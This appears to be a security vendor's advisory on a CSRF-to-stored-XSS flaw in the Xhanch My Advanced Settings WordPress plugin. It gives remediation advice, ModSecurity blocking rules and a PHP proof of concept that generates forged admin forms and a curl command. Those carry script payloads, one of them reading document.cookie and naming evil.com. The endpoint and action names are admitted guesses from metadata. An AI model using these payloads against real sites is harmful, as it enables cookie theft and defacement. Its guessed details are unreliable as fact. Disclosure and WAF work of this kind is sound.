Atomic Edge analysis of CVE-2026-3332 (metadata-based):
The Xhanch – My Advanced Settings WordPress plugin contains a Cross-Site Request Forgery vulnerability in all versions up to 1.1.2. This vulnerability allows unauthenticated attackers to modify plugin settings by tricking an administrator into clicking a malicious link. The missing nonce validation in the settings update handler enables attackers to chain CSRF with stored cross-site scripting via unfiltered output of modified settings.
Atomic Edge research identifies the root cause as missing nonce validation in the `xms_setting()` function. The vulnerability description confirms this function handles settings updates without proper CSRF protection. Based on WordPress plugin patterns, this function likely hooks into either `admin_post_` or `wp_ajax_` actions. The CWE-352 classification confirms this as a classic CSRF vulnerability where state-changing operations lack anti-CSRF tokens. These conclusions are inferred from the CWE classification and vulnerability description, not from direct code examination.
Exploitation requires an attacker to craft a malicious HTML page or email containing a forged request. The attacker must lure a logged-in administrator to interact with this content. Based on WordPress plugin conventions, the likely endpoint is `/wp-admin/admin-ajax.php` with the action parameter set to a value derived from the plugin slug, such as `xhanch_my_advanced_settings_update` or `xms_setting`. The payload would include POST parameters like `favicon_url` containing JavaScript payloads or `ga_acc_id` with malicious tracking codes. The request executes with the administrator’s privileges when triggered.
Remediation requires adding proper nonce verification to the settings update handler. The plugin should implement `check_admin_referer()` or `wp_verify_nonce()` calls before processing any settings modifications. Additionally, the plugin must implement proper output escaping for all settings displayed on the front-end, using functions like `esc_url()` for URLs and `esc_attr()` for attribute values. These measures would prevent both CSRF and the subsequent stored XSS chain.
The impact includes unauthorized modification of WordPress site settings. Attackers can inject malicious JavaScript via the favicon URL or Google Analytics ID fields, leading to stored cross-site scripting. This XSS payload executes in visitors’ browsers, enabling session hijacking, credential theft, or site defacement. The vulnerability also allows toggling of various WordPress behavior settings, potentially disrupting site functionality or weakening security controls.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3332 (metadata-based)
# This rule blocks CSRF exploitation attempts against the Xhanch - My Advanced Settings plugin
# by targeting the specific AJAX action with malicious parameter values
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:1003332,phase:2,deny,status:403,chain,msg:'CVE-2026-3332: Xhanch - My Advanced Settings CSRF to Stored XSS',severity:'CRITICAL',tag:'CVE-2026-3332',tag:'WordPress',tag:'Plugin',tag:'Xhanch-My-Advanced-Settings',tag:'CSRF',tag:'XSS'"
SecRule ARGS_POST:action "@rx ^(xms_setting|xhanch_my_advanced_settings_update|xhanch_update_settings|update_xms_settings)$" "chain"
SecRule ARGS_POST:favicon_url "@rx javascript:" "t:lowercase,t:urlDecodeUni,chain"
SecRule ARGS_POST:favicon_url "@rx [<>'"]" "t:urlDecodeUni"
# Alternative rule for Google Analytics ID field XSS
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:1003333,phase:2,deny,status:403,chain,msg:'CVE-2026-3332: Xhanch - My Advanced Settings CSRF via GA ID XSS',severity:'CRITICAL',tag:'CVE-2026-3332',tag:'WordPress',tag:'Plugin',tag:'Xhanch-My-Advanced-Settings',tag:'CSRF',tag:'XSS'"
SecRule ARGS_POST:action "@rx ^(xms_setting|xhanch_my_advanced_settings_update|xhanch_update_settings|update_xms_settings)$" "chain"
SecRule ARGS_POST:ga_acc_id "@rx [<>'"]" "t:urlDecodeUni"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3332 - Xhanch - My Advanced Settings <= 1.1.2 - Cross-Site Request Forgery to Settings Update
<?php
/**
* Proof of Concept for CVE-2026-3332
* This script demonstrates CSRF exploitation against the Xhanch - My Advanced Settings plugin.
* Assumptions based on WordPress plugin patterns:
* 1. The plugin uses admin-ajax.php endpoint
* 2. The action parameter follows plugin naming conventions
* 3. Settings are updated via POST parameters matching description
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Construct the AJAX endpoint
$ajax_endpoint = $target_url . '/wp-admin/admin-ajax.php';
// Determine likely action parameter - inferred from plugin slug and function name
$possible_actions = [
'xms_setting',
'xhanch_my_advanced_settings_update',
'xhanch_update_settings',
'update_xms_settings'
];
// Malicious payload - JavaScript to demonstrate stored XSS chain
$malicious_favicon = 'javascript:alert(document.cookie);//http://evil.com/favicon.ico';
$malicious_ga_id = '"><script>alert("XSS")</script>';
// Generate HTML form for each possible action
foreach ($possible_actions as $action) {
echo "<h3>Testing action: {$action}</h3>";
echo "<form method='POST' action='{$ajax_endpoint}' target='hiddenFrame'>";
echo "<input type='hidden' name='action' value='{$action}'>";
echo "<input type='hidden' name='favicon_url' value='{$malicious_favicon}'>";
echo "<input type='hidden' name='ga_acc_id' value='{$malicious_ga_id}'>";
echo "<input type='hidden' name='some_setting' value='malicious_value'>";
echo "<input type='submit' value='Test Exploit (requires admin session)'>";
echo "</form>";
}
echo "<iframe name='hiddenFrame' style='display:none;'></iframe>";
echo "<hr><h4>cURL Command Alternative:</h4>";
echo "<pre>curl -X POST '{$ajax_endpoint}' \<br>";
echo " --data 'action=xms_setting&favicon_url=" . urlencode($malicious_favicon) . "&ga_acc_id=" . urlencode($malicious_ga_id) . "' \<br>";
echo " -H 'Content-Type: application/x-www-form-urlencoded' \<br>";
echo " --cookie 'wordpress_logged_in_[hash]=[admin_cookie]'</pre>";
// Note: This PoC requires the attacker to obtain the administrator's session cookie
// or trick the administrator into submitting the form
?>
